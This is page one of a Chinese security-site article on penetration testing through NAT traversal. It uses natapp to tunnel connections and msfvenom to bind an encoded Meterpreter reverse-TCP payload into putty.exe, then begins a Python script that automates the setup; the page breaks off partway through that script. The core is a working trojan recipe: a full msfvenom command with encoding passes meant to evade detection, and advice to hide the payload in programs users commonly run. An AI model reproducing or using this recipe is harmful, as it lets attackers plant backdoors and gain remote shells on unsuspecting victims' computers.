欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

基于MetaSploit内网穿透渗透测试

来源:本站整理 作者:佚名 时间:2018-03-08 TAG: 我要投稿

自己在无聊捣鼓windows渗透的时候想到以往都是基于内网渗透,想要更加自由地进行渗透就需要内网穿透实现可以任意控制网段主机,同时也将端口转发作为自己的跳板。集成的脚本是考虑到在渗透的时候需要开启的工具繁多,所以尽可能能够一键开启工具,并且半自动化部署,可以优化前期的准备。
本文分成三个模块
利用natapp进行内网穿透;
利用msfvenom生成后门渗透;
半自动化脚本进行优化。
利用natapp进行内网穿透
首先需要下载一个工具用于内网穿透(https://natapp.cn/),内网穿透主要是利用远程服务器将tcp连接转发到自己的电脑上。这样子就可以实现不同网段内计算机进行tcp连接。
我使用natapp工具进行内网穿透,注册并且免费获得自己的隧道。
本地地址填写127.0.0.1表示本机。
本地端口可以填写空闲端口。
authtoken用于开启natapp服务的code。
下载对应版本的natapp工具后,在命令行输入./natapp authtoken=xxxxxx。
打开后就可以看到自己的转发地址和端口,例如为server.natappfree.cc:38100。
这时候就完成了端口转发,保持服务开启即可。
利用msfvenom生成后门渗透
需要将自己的payload与任意exe文件进行捆绑,当目标点击使用我们捆绑后的exe后门就会自动反弹shell。
采用windows/meterpreter/reverse_tcp ,这是一个常用的windows tcp反弹payload。
比较常用的exe软件例如浏览器,ssh等其他用户长期开启软件,示例中用putty.exe为示范。
在终端输入如下命令:
msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=8998 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe
-a 表示目标机器架构;
-platform 表示系统平台;
-x 表示捆绑软件;
-p表示paylaod。
lhost和lport 输入之前内网穿透的ip和port。
-i 表示编码次数,编码次数越多被检测的风险越大;
-o 表示输出文件的位置和名字。
其他参数可以使用msfvenom –h 查看相应参数。
当目标打开puttyX.exe后我们在msfconsole上会监听到,就完成了前期的渗透。
半自动化脚本进行优化
由于msfvenom在每次生成文件都需要指定一系列参数,以及natapp还需要打开,最终还要打开msf进行反弹shell的监听,我尝试将三者结合在一起。就编写了一个简单的半自动化脚本,只需要输入要捆绑软件的位置,natapp转发的端口,编码次数,就可以直接生成payload文件,并且自动打开端口转发和打开msfconsole控制台。只能说是简单地集成下。
以下是文件的目录:

natapp.sh和msfconsole.sh写了一句话命令用于打开natapp和msfconsole。
startAttack.py文件主要代码如下:
  import os
    import webbrowser
   
    while True:
        #banner
        print('''
        This Script is for attacking prepare
        --------------------------------------------------------------------------
        ___________              ___ ___                __                       
        \_   _____/__________   /   |   \_____    ____ |  | __ ___________  ______
         |    __)/  _ \_  __ \ /    ~    \__  \ _/ ___\|  |/ // __ \_  __ \/  ___/
         |     \(   )  | \/ \    Y    // __ \\  \___|    __|_ \\___  >__|  /____  >
             \/                       \/      \/     \/     \/    \/           \/
        --------------------------------------------------------------------------
        ''')
   
        #Open new terminal :natapp
        print"[+]Open NAT service"
        os.system('open -a Terminal.app natapp.sh')
   
   
        #Generate Payload
        source_path=raw_input('Program path:').strip()
        host='server.natappfree.cc'#raw_input('IP:').strip()

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载